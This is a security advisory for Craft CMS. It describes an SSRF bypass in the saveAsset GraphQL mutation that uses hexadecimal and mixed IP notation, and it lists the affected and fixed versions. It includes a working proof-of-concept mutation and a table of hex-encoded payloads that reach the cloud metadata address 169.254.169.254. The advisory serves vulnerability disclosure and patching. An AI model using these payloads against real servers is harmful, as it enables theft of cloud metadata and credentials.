GHSA-m5r2-8p9x-hp5m
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | craftcms/cms | >= 5.0.0-RC1, < 5.8.22 | 5.8.22 |
| Packagist | craftcms/cms | >= 4.0.0-RC1, < 4.16.18 | 4.16.18 |
Details
As written in the advisory (Markdown source, shown as plain text).
I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.
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## Summary
The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.
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## Proof of Concept
1. Send the following GraphQL mutation:
```graphql
mutation {
save_images_Asset(_file: {
url: "http://169.254.0xa9fe/latest/meta-data/"
filename: "metadata.txt"
}) {
id
}
}
```
2. The IP validation passes (hex notation not recognized as IP)
3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`
4. Cloud metadata is fetched and saved
### Alternative Payloads
| Payload | Notation | Resolves To |
|---------|----------|-------------|
| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |
| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |
| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |
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## Technical Details
**File:** `src/gql/resolvers/mutations/Asset.php`
**Root Cause:** `filter_var($hostname, FILTER_VALIDATE_IP)` only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.
```php
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/craftcms/cms/security/advisories/GHSA-m5r2-8p9x-hp5m
- https://nvd.nist.gov/vuln/detail/CVE-2026-25494
- https://github.com/craftcms/cms/commit/d49e93e5ba0c48939ce5eaa6cd9b4a990542d8b2
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://github.com/craftcms/cms/releases/tag/5.8.22